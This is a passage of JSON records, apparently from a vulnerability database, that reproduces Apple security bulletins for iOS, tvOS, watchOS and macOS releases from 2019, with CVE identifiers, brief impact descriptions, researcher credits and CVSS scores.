A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:06:38", "title": "About the security content of iOS 12.4.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:06:38", "id": "APPLE:HT210549", "href": "https://support.apple.com/kb/HT210549", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:58", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:03:47", "title": "About the security content of tvOS 12.4.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:03:47", "id": "APPLE:HT210550", "href": "https://support.apple.com/kb/HT210550", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:13:57", "description": "# About the security content of iOS 12.4.1\n\nThis document describes the security content of iOS 12.4.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of iOS 12.4.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:1E452AB09BD018501C8ED03BD6811E97", "href": "https://support.apple.com/kb/HT210549", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:41:17", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.3.2\n\nReleased September 26, 2019\n\n**Foundation**\n\nAvailable for: Apple Watch Series 1 and Apple Watch Series 2\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8641: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\nEntry updated February 11, 2020\n", "edition": 3, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-11T07:04:36", "title": "About the security content of watchOS 5.3.2 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641"], "modified": "2020-02-11T07:04:36", "id": "APPLE:HT210588", "href": "https://support.apple.com/kb/HT210588", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-24T20:42:04", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update 2, Security Update 2019-005 High Sierra, Security Update 2019-005 Sierra\n\nReleased September 26, 2019\n\n**Foundation**\n\nAvailable for: macOS Sierra 10.12.6, macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8641: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\nEntry updated February 11, 2020\n\n\n\nmacOS will have the following build numbers after you install this update:\n\n * macOS 10.14 Mojave: 18G103\n * macOS 10.13 High Sierra: 17G8037\n * macOS 10.12 Sierra: 16G2136\n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n", "edition": 3, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-11T07:03:24", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update 2, Security Update 2019-005 High Sierra, and Security Update 2019-005 Sierra - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641"], "modified": "2020-02-11T07:03:24", "id": "APPLE:HT210589", "href": "https://support.apple.com/kb/HT210589", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-24T20:44:53", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.2\n\nReleased September 26, 2019\n\n**Foundation**\n\nAvailable for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPad touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8641: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\nEntry updated February 11, 2020\n", "edition": 3, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-04-01T03:57:17", "title": "About the security content of iOS 12.4.2 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641"], "modified": "2020-04-01T03:57:17", "id": "APPLE:HT210590", "href": "https://support.apple.com/kb/HT210590", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-14T04:13:54", "description": "# About the security content of iOS 12.4.2\n\nThis document describes the security content of iOS 12.4.2.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.2\n\nReleased September 26, 2019\n\n**Foundation**\n\nAvailable for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPad touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8641: Samuel Gro\u00df and natashenka of Google Project Zero\n\nEntry updated February 11, 2020\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 05, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-26T00:00:00", "type": "apple", "title": "About the security content of iOS 12.4.2", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641"], "modified": "2019-09-26T00:00:00", "id": "APPLE:F7ACEF0E3E5ED5C235A21270AB00AF33", "href": "https://support.apple.com/kb/HT210590", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-11T19:30:06", "description": "# About the security content of macOS Mojave 10.14.6 Supplemental Update 2, Security Update 2019-005 High Sierra, and Security Update 2019-005 Sierra\n\nThis document describes the security content of macOS Mojave 10.14.6 Supplemental Update 2, Security Update 2019-005 High Sierra, and Security Update 2019-005 Sierra.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update 2, Security Update 2019-005 High Sierra, Security Update 2019-005 Sierra\n\nReleased September 26, 2019\n\n**Foundation**\n\nAvailable for: macOS Sierra 10.12.6, macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8641: Samuel Gro\u00df and natashenka of Google Project Zero\n\nEntry updated February 11, 2020\n\n\n\nmacOS will have the following build numbers after you install this update:\n\n * macOS 10.14 Mojave: 18G103\n * macOS 10.13 High Sierra: 17G8037\n * macOS 10.12 Sierra: 16G2136\n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 05, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-26T00:00:00", "type": "apple", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update 2, Security Update 2019-005 High Sierra, and Security Update 2019-005 Sierra", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641"], "modified": "2019-09-26T00:00:00", "id": "APPLE:322F877E419F20C64E54D0BBA8C1399A", "href": "https://support.apple.com/kb/HT210589", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-26T19:31:42", "description": "# About the security content of watchOS 5.3.2\n\nThis document describes the security content of watchOS 5.3.2.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.3.2\n\nReleased September 26, 2019\n\n**Foundation**\n\nAvailable for: Apple Watch Series 1 and Apple Watch Series 2\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8641: Samuel Gro\u00df and natashenka of Google Project Zero\n\nEntry updated February 11, 2020\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 05, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-26T00:00:00", "type": "apple", "title": "About the security content of watchOS 5.3.2", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641"], "modified": "2019-09-26T00:00:00", "id": "APPLE:41FD160DB043905B84F762A4AC705243", "href": "https://support.apple.com/kb/HT210588", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-14T04:14:04", "description": "# About the security content of watchOS 5.2.1\n\nThis document describes the security content of watchOS 5.2.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.2.1\n\nReleased May 13, 2019\n\n**AppleFileConduit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8593: Dany Lisiansky (@DanyL931)\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted movie file may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8585: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved error handling.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added August 1, 2019\n\n**Disk Images**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8560: Nikita Pupyshev of Bauman Moscow State Technological University\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2019-8576: Brandon Azad of Google Project Zero, Junho Jang and Hanul Choi of LINE Security Team\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to cause unexpected system termination or write kernel memory\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2019-8591: Ned Williamson working with Google Project Zero\n\n**Mail**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8626: natashenka of Google Project Zero\n\n**Mail Message Framework**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8613: natashenka of Google Project Zero\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: natashenka of Google Project Zero\n\nEntry added August 1, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause a system denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8573: natashenka of Google Project Zero\n\nEntry added July 3, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: natashenka of Google Project Zero\n\nEntry added July 3, 2019\n\n**MobileInstallation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to modify protected parts of the file system\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8568: Dany Lisiansky (@DanyL931)\n\n**MobileLockdown**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8637: Dany Lisiansky (@DanyL931)\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An input validation issue was addressed with improved memory handling.\n\nCVE-2019-8577: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A maliciously crafted SQL query may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8600: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to read restricted memory\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8598: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed by removing the vulnerable code.\n\nCVE-2019-8602: Omer Gull of Checkpoint Research\n\n**sysdiagnose**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2019-8574: Dayton Pidhirney (@_watbulb) of Seekintoo (@seekintoo)\n\nEntry updated February 3, 2020\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may result in the disclosure of process memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8607: Junho Jang and Hanul Choi of LINE Security Team\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8583: sakura of Tencent Xuanwu Lab, jessica (@babyjess1ca_) of Tencent Keen Lab, and dwfault working at ADLab of Venustech\n\nCVE-2019-8601: Fluoroacetate working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8622: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8623: Samuel Gro\u00df of Google Project Zero\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position can modify driver state\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8612: Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\nEntry added May 30, 2019\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A device may be passively tracked by its Wi-Fi MAC address\n\nDescription: A user privacy issue was addressed by removing the broadcast MAC address.\n\nCVE-2019-8620: David Kreitschmann and Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n\n\n## Additional recognition\n\n**Clang**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero for their assistance.\n\n**CoreAudio**\n\nWe would like to acknowledge riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative for their assistance.\n\nEntry added July 25, 2019\n\n**CoreFoundation**\n\nWe would like to acknowledge Vozzie and Rami and m4bln, Xiangqian Zhang, Huiming Liu of Tencent's Xuanwu Lab for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero and an anonymous researcher for their assistance.\n\n**MediaLibrary**\n\nWe would like to acknowledge Angel Ramirez and Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. for their 